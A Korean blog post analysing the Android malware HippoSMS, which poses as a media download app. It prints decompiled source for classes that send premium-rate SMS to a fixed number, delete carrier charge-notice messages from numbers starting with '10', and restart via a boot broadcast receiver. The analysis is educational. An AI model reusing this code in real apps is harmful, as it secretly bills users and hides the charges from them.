중국에 있는 아는 사람이 악성코드 샘플을 분석하던 도중 막히는 부분이 있다며 도움을 요청 해 왔다.

공부를 목적으로 분석하는 도중 분석에 어려운 점이 많아 같이 해보자는 연락이었다.

요즘 안드로이드 공부도 하고 있어 재미있겠다 싶어 분석을 시도해 보았다.

분석 대상은 HippoSMS 라는 악성 앱인데 앱의 레이아웃이나 기능들을 보았을 때 겉으로는 음악파일 다운로드 등의 정상적인 앱의 기능으로 위장하고 있었다.

그러나 최종 목적은 SMS를 통하여 사용자 스마트폰의 추가 요금을 발생 시키고 추가 요금이 발생하면 우리나라도 마찬가지이지만, 중국도 추가 요금을 알리는 문자가 오는데 그 문자를 삭제하여 사용자가 추가 요금 발생을 알아차리지 못하도록 하는 것이었다.

악성 행위를 하는 코드는 의외로 간단하다.

일단 앱의 apk 파일을 디컴파일 해야 하는데 이 과정은 생략하고 제일 중요한 부분들만 설명하겠다.

앱을 디컴파일 하고 소스파일을 보면 다른 부분은 모두 앱에서 정상적인 기능을 하는 부분인데 정상적인 기능과 관련이 없어 보이는 sms라는 패키지가 존재한다.

[그림 1 - sms 패키지]

sms 패키지 안에는 3개의 클래스 파일이 있는데, 이 파일들이 악성 행위를 하는 코드를 포함하고 있다.

 - BootReceiver
 - CallContentObserver
 - MessageService


일단은 직관적으로 파악이 가능할 것 같은 MessageService 파일을 분석하여 보자.

해당 파일의 중요 부분만 주석을 달아 설명하도록 하겠다.

public class MessageService extends Service
{
  private int intCounter = 0;
  private Runnable mTasks = new Runnable()
  {
    public void run()
    {
      MessageService localMessageService = MessageService.this;
      localMessageService.intCounter = (1 + localMessageService.intCounter);
      Log.i("HIPPO", "Counter:" + Integer.toString(MessageService.this.intCounter));
      MessageService.this.objHandler.postDelayed(MessageService.this.mTasks, 10000L);
    }
  };
  private NotificationManager notificationManager;
  private Handler objHandler = new Handler();
  SharedPreferences sp; // UI의 상태 저장을 위한 SharedPreferences 객체 변수 sp 선언

  private void showNotification()
  {
    Notification localNotification = new Notification(2130837531, "后台运行中", System.currentTimeMillis());
    localNotification.flags = 2;
    Intent localIntent = new Intent(this, SplashActivity.class);
    localIntent.putExtra("FLG", 1);
    localNotification.setLatestEventInfo(this, "酷6视频", "后台运行中", PendingIntent.getActivity(this, 0, localIntent, 0));
    this.notificationManager.notify(2131034115, localNotification);
  }

  public String getData() // Calender 객체를 이용한 날짜 얻어오는 메소드
  {
    Calendar localCalendar = Calendar.getInstance();
    return localCalendar.get(1) + ":" + localCalendar.get(2) + ":" + localCalendar.get(5);
  }

  public IBinder onBind(Intent paramIntent)
  {
    return null;
  }

  public void onCreate()
  {
    this.notificationManager = ((NotificationManager)getSystemService("notification"));
    super.onCreate();
    this.sp = getSharedPreferences("sendsms", 3);
    getContentResolver().registerContentObserver(Uri.parse("content://sms"), true, new CallContentObserver(this, "10", null)); // sms의 상태 변경을 감시하는 역할 수행 지시
  }

  public void onDestroy()
  {
    this.notificationManager.cancel(2131034115);
    this.objHandler.removeCallbacks(this.mTasks);
    super.onDestroy();
  }

  public void onRebind(Intent paramIntent)
  {
  }

  public void onStart(Intent paramIntent, int paramInt)
  {
    this.objHandler.postDelayed(this.mTasks, 10000L);
    super.onStart(paramIntent, paramInt);
    Log.d(readTag(this.sp) + ".............................." + readTag(this.sp, "data", ""), getData());
/* readTage 메소드 값에 따라 저장되는 Tag 값이 달라지지만 악성코드 수행에는 영향을 미치지 않음.
    if (!readTag(this.sp, "data", "").equals(getData()))
    {
      sendsms("1066156686", "8", "", this); // 전화번호(1066156686)와 메시지(8)을 셋팅하여 sms를 보낸다.
      saveTag(this.sp, "data", getData(), 1);
    }
    else if (readTag(this.sp) < 3)
    {
      sendsms("1066156686", "8", "", this);
      saveTag(this.sp, "data", getData(), 1 + readTag(this.sp));
    }
*/
  }

  public boolean onUnbind(Intent paramIntent)
  {
    return false;
  }

  public int readTag(SharedPreferences paramSharedPreferences)
  {
    return paramSharedPreferences.getInt("size", 0);
  }

  public String readTag(SharedPreferences paramSharedPreferences, String paramString1, String paramString2)
  {
    return paramSharedPreferences.getString(paramString1, paramString2);
  }

  public void saveTag(SharedPreferences paramSharedPreferences, String paramString1, String paramString2, int paramInt)
  {
    SharedPreferences.Editor localEditor = paramSharedPreferences.edit();
    localEditor.putString(paramString1, paramString2);
    localEditor.putInt("size", paramInt);
    localEditor.commit();
  }

  public void sendsms(String paramString1, String paramString2, String paramString3, Context paramContext) // 실제 sms를 보내는 메소드
  {
    SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, PendingIntent.getBroadcast(paramContext, 0, new Intent("SMS_SENT"), 0), PendingIntent.getBroadcast(paramContext, 0, new Intent("SMS_DELIVERED"), 0));
  }

  public class LocalBinder extends Binder
  {
    public LocalBinder()
    {
    }

    public MessageService getService()
    {
      return MessageService.this;
    }
  }
}


MessageService라는 액티비티가 불려올 때마다 onStart() 메소드를 시스템에서 자동으로 호출하여 특정 전화번호로 sms를 보내게 된다.

이러한 동작으로 인해 요금이 발생하게 된다.

그런데 윗부분의 코드를 보면 sms의 상태를 감시하는 코드가 있었다. 왜 감시하는지 분석해보자.

 * 참고 : onCreate()는 액티비티가 생성 될 때 호출되는 시스템 메소드로 MessageService 액티비티가 생성 될 때 한번만 sms를 체크한다.

sms의 상태 변경을 감시 한다고 달아 놓은 주석 부분의 줄에서 실제 감시 역할을 수행하는 소스가 있는 부분은 아래와 같다.

new CallContentObserver(this, "10", null)

위 메소드는 악성 사용자가 만들어 놓은 클래스 파일(CallContentObserver)에 정의되어 있다.

public class CallContentObserver extends ContentObserver // ContentObserver는 어떠한 컨텐츠의 상태를 모니터링 하는 클래스이다.
{
  private static final String strUriInbox = "content://sms";
  private static final Uri uriSms = Uri.parse("content://sms");
  private Context context;
  private String phoneNum;

  public CallContentObserver(Context paramContext, String paramString, Handler paramHandler) // 이 부분이 호출 된다.
  {
    super(paramHandler);
    this.context = paramContext;
    this.phoneNum = paramString; // 10 이라는 숫자가 phoneNum 변수에 저장 된다.
  }

  public void onChange(boolean paramBoolean) // 모니터링 도중 컨텐츠의 변경이 감지되면 자동으로 호출되는 메소드
  {
    super.onChange(paramBoolean);
    Object localObject2 = this.context.getContentResolver();
    Object localObject1 = uriSms;
    Object localObject3 = new String[6];
    localObject3[0] = "_id";
    localObject3[1] = "thread_id";
    localObject3[2] = "address";
    localObject3[3] = "person";
    localObject3[4] = "date";
    localObject3[5] = "body";
    localObject2 = ((ContentResolver)localObject2).query((Uri)localObject1, localObject3, null, null, null);
    if ((localObject2 != null) && (((Cursor)localObject2).moveToFirst()))
    {
      localObject3 = ((Cursor)localObject2).getString(2);
      localObject1 = ((Cursor)localObject2).getString(0);
      if ((localObject3 != null) && (this.phoneNum != null) && (((String)localObject3).startsWith(this.phoneNum))) //  만약 sms 저장 목록에 10으로 시작하는 전화번호가 있다면
      {
        Log.d("ddddddddddddddddssssssssssssssss ssddddddddd", " dfsaaaaaaaaaaaaaaaaaaaaaaaa");
        this.context.getContentResolver().delete(uriSms, "_id=" + (String)localObject1, null); // 해당 sms를 지워버린다.
      }
      ((Cursor)localObject2).close();
    }
  }
}

지금까지의 행동을 살펴보면 악성 앱은 MessageService 액티비가 어디선가 호출되면 sms 목록을 체크하고 10으로 시작하는 전화번호가 있다면 해당 메시지를 지우고, 설정되어 있는 전화번호와 메시지를 토대로 sms를 보낸다.

이러한 행위로 인해 추가요금이 발생한다. 하지만 MessageService 액티비티를 어디서 호출하는 것일까?

마지막으로 BootReceiver 파일을 분석해보자.

public class BootReceiver extends BroadcastReceiver // BroadcastReceiver 상속으로 인해 백그라운드에 BootReceiver가 동작하게 된다.
{
  public void onReceive(Context paramContext, Intent paramIntent) // 만약 시스템이 보내는 모든 브로드캐스팅 메시지를 받게 되면
  {
    Intent localIntent = new Intent("android.intent.action.RUN");
    localIntent.setClass(paramContext, MessageService.class); // MessageService를 서비스 클래스로 설정한다.
    localIntent.setFlags(268435456);
    paramContext.startService(localIntent); // MessageService로 설정 된 서비스를 시작한다.
    if ("android.provider.Telephony.SMS_RECEIVED".equals(paramIntent.getAction())) // 받은 데이터가 SMS 인지 확인
      paramContext.getContentResolver().registerContentObserver(Uri.parse("content://sms"), true, new CallContentObserver(paramContext, "10", null)); // sms 삭제 코드 호출
  }
}

위의 코드를 간단히 설명하면, 해당 앱은 브로드캐스트 메시지 수신자를 백그라운드에 존재하게 하고 시스템이 브로드 캐스트 메시지를 보내면 추가 요금 발생 클래스(MessageService)를 서비스로 만들어 시작시키고 받은 브로드 캐스트 메시지가 sms라면 받은 sms를 지운다.

최종적으로 해당 앱은 앱이 종료되어도 계속 시스템의 브로드캐스팅 메시지를 수신 할 수 있고 브로드 캐스팅 메시지가 수신 될 때마다 추가요금이 발생하며 추가 요금을 알리는 메시지가 올 경우 sms 목록에서 해당 메시지를 지운다.

분석 도중 중국인 친구가 말해준 이야기인데 10으로 시작하는 번호는 휴대전화 업체의 추가 요금 알리미 전화번호라고 한다.

분석 도중 안드로이드 앱 개발에서 배우는 브로드캐스트 등의 용어가 나와 이해하기에 조금 어려운 면이 있지만 나름 쉽게 쓴다고 썼으니 이해해 주기 바란다.

 

+ Recent posts